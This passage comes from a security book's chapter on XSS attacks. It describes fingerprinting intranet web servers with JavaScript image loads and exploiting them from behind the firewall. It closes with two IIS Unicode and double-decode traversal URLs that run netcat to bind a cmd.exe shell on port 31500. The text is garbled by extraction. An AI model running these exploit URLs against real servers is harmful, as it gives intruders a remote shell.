Download

cading style sheets (CSS), or JavaScript pages to perform fingerprinting. For example, mostWeb servers and platforms host content such as:Apache Web Server/icons/apache_pb.gifXSS Attack Methods • Chapter 5 195HP Printer/hp/device/hp_invent_logo.gifPHP Image Easter eggs/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42It’s highly unlikely that other Web servers or platforms will have data hosted at theseexact URLs and others like them. We can use JavaScript to create IMG DOM Objectsloaded with an onerror event handler.What happens if the event handler fires? We know the Web server gave back a nonimageand this probably isn’t the Web server platform as designated by the unique URL.However, if the onerror event handler doesn’t fire, meaning we got the expected imagereturned, then it’s likely the Web server or platform has been accurately fingerprinted.Thesame approach can be applied to loading in of CSS and JavaScript files with unique URL,and then detecting if their objects have been loaded into the DOM.The entire process is a simple matter of creating a large enough list of unique URLs anddetecting their presence on the target IP.Attacking the IntranetArmed with the NAT’ed IP address, a list of Intranet Web servers, and potentially they’reversion/distribution information, attackers can start their behind-the-firewall exploitation.What we also know about Intranet devices is that they’re typically less secure than publiclyfacing devices because “they’re out of reach.” Not so anymore.This means using older andwell-known vulnerability exploits can be quite successful. And there’s no shortage of thesetypes of vulnerabilities. For example, if an attacker wanted to leverage the following oldschool and high popularized Microsoft IIS issues:Unicode:Double Decode:http://target_IP/scripts/.. %c0%af../winnt/system32/cmd.exe?/c+nc+-L+-p+31500+-d+e+cmd.exehttp://target_IP/scripts/..%255c../winnt/system32/cmd.exe?/c+nc+-L+-p+31500+-d+e+cmd.exe